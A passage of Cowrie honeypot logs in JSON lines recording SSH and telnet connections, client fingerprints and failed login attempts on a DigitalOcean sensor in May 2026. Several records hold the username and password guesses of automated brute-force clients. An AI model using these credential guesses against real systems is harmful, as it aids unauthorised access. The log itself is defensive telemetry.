519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:40.939202Z","src_ip":"103.237.144.204","session":"20ec7b5715b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:41.983346Z","src_ip":"103.237.144.204","session":"20ec7b5715b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:24:43.239094Z","src_ip":"103.237.144.204","session":"20ec7b5715b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.97559881210327,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:03.354046Z","src_ip":"69.4.83.194","session":"89502ad678db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":46956,"dst_ip":"159.203.135.109","dst_port":22,"session":"64d88c65ae87","protocol":"ssh","message":"New connection: 89.223.69.22:46956 (159.203.135.109:22) [session: 64d88c65ae87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:08.256188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:08.261441Z","src_ip":"89.223.69.22","session":"64d88c65ae87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:08.377479Z","src_ip":"89.223.69.22","session":"64d88c65ae87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nastya2002","message":"login attempt [root/nastya2002] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:08.720014Z","src_ip":"89.223.69.22","session":"64d88c65ae87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:09.845332Z","src_ip":"89.223.69.22","session":"64d88c65ae87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":76.62707781791687,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:15.752663Z","src_ip":"178.128.93.180","session":"72f281b7304c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":57170,"dst_ip":"159.203.135.109","dst_port":22,"session":"57926d14c5ba","protocol":"ssh","message":"New connection: 35.225.56.202:57170 (159.203.135.109:22) [session: 57926d14c5ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:20.943465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:20.948513Z","src_ip":"35.225.56.202","session":"57926d14c5ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:20.985514Z","src_ip":"35.225.56.202","session":"57926d14c5ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@Abc","message":"login attempt [root/1234@Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:21.162452Z","src_ip":"35.225.56.202","session":"57926d14c5ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:22.202335Z","src_ip":"35.225.56.202","session":"57926d14c5ba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":49750,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3cd54302e2c","protocol":"telnet","message":"New connection: 69.4.83.194:49750 (159.203.135.109:23) [session: a3cd54302e2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:26.615919Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":46978,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a90777514a4","protocol":"telnet","message":"New connection: 178.128.93.180:46978 (10.17.0.5:23) [session: 4a90777514a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:31.988094Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":38942,"dst_ip":"10.17.0.5","dst_port":22,"session":"902aece94adb","protocol":"ssh","message":"New connection: 103.82.20.28:38942 (10.17.0.5:22) [session: 902aece94adb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:53.061685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:53.070057Z","src_ip":"103.82.20.28","session":"902aece94adb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:53.332325Z","src_ip":"103.82.20.28","session":"902aece94adb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sarah","message":"login attempt [root/sarah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:54.119823Z","src_ip":"103.82.20.28","session":"902aece94adb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:55.385742Z","src_ip":"103.82.20.28","session":"902aece94adb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.52.90.106","src_port":53980,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1f9d6917c90","protocol":"ssh","message":"New connection: 182.52.90.106:53980 (159.203.135.109:22) [session: b1f9d6917c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:57.130963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:57.135882Z","src_ip":"182.52.90.106","session":"b1f9d6917c90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:57.396697Z","src_ip":"182.52.90.106","session":"b1f9d6917c90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"Voidsetdownload.so","message":"login attempt [systemd/Voidsetdownload.so] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:58.471745Z","src_ip":"182.52.90.106","session":"b1f9d6917c90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:25:59.734743Z","src_ip":"182.52.90.106","session":"b1f9d6917c90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.934128761291504,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:02.549925Z","src_ip":"69.4.83.194","session":"a3cd54302e2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":41712,"dst_ip":"10.17.0.5","dst_port":22,"session":"683ad2d93fdf","protocol":"ssh","message":"New connection: 103.176.20.57:41712 (10.17.0.5:22) [session: 683ad2d93fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:03.215270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:03.221142Z","src_ip":"103.176.20.57","session":"683ad2d93fdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:03.475912Z","src_ip":"103.176.20.57","session":"683ad2d93fdf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"121212123","message":"login attempt [root/121212123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:04.238625Z","src_ip":"103.176.20.57","session":"683ad2d93fdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:05.495689Z","src_ip":"103.176.20.57","session":"683ad2d93fdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:13.029437Z","src_ip":"14.103.117.142","session":"fc9ce2dd92f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.237.144.204","src_port":51518,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d55448db19b","protocol":"ssh","message":"New connection: 103.237.144.204:51518 (159.203.135.109:22) [session: 1d55448db19b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:13.435749Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:13.441299Z","src_ip":"103.237.144.204","session":"1d55448db19b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:13.691217Z","src_ip":"103.237.144.204","session":"1d55448db19b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123#","message":"login attempt [root/Admin@123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:14.723355Z","src_ip":"103.237.144.204","session":"1d55448db19b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:15.980371Z","src_ip":"103.237.144.204","session":"1d55448db19b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.225.56.202","src_port":34976,"dst_ip":"159.203.135.109","dst_port":22,"session":"471527c7728f","protocol":"ssh","message":"New connection: 35.225.56.202:34976 (159.203.135.109:22) [session: 471527c7728f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:45.594357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:45.598875Z","src_ip":"35.225.56.202","session":"471527c7728f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:45.635009Z","src_ip":"35.225.56.202","session":"471527c7728f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc@123","message":"login attempt [root/abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:45.809110Z","src_ip":"35.225.56.202","session":"471527c7728f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:46.848617Z","src_ip":"35.225.56.202","session":"471527c7728f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":76.22783994674683,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:48.215762Z","src_ip":"178.128.93.180","session":"4a90777514a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.105.114.62","src_port":53932,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4ef2b961134","protocol":"telnet","message":"New connection: 178.105.114.62:53932 (10.17.0.5:23) [session: b4ef2b961134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:49.058908Z"}
{"eventid":"cowrie.session.closed","duration":0.004165172576904297,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:49.062954Z","src_ip":"178.105.114.62","session":"b4ef2b961134","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.105.114.62","src_port":53948,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc940beac5e7","protocol":"telnet","message":"New connection: 178.105.114.62:53948 (10.17.0.5:23) [session: bc940beac5e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:49.155727Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"","message":"login attempt [root/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:26:49.656837Z","src_ip":"178.105.114.62","session":"bc940beac5e7","protocol":"telnet"}
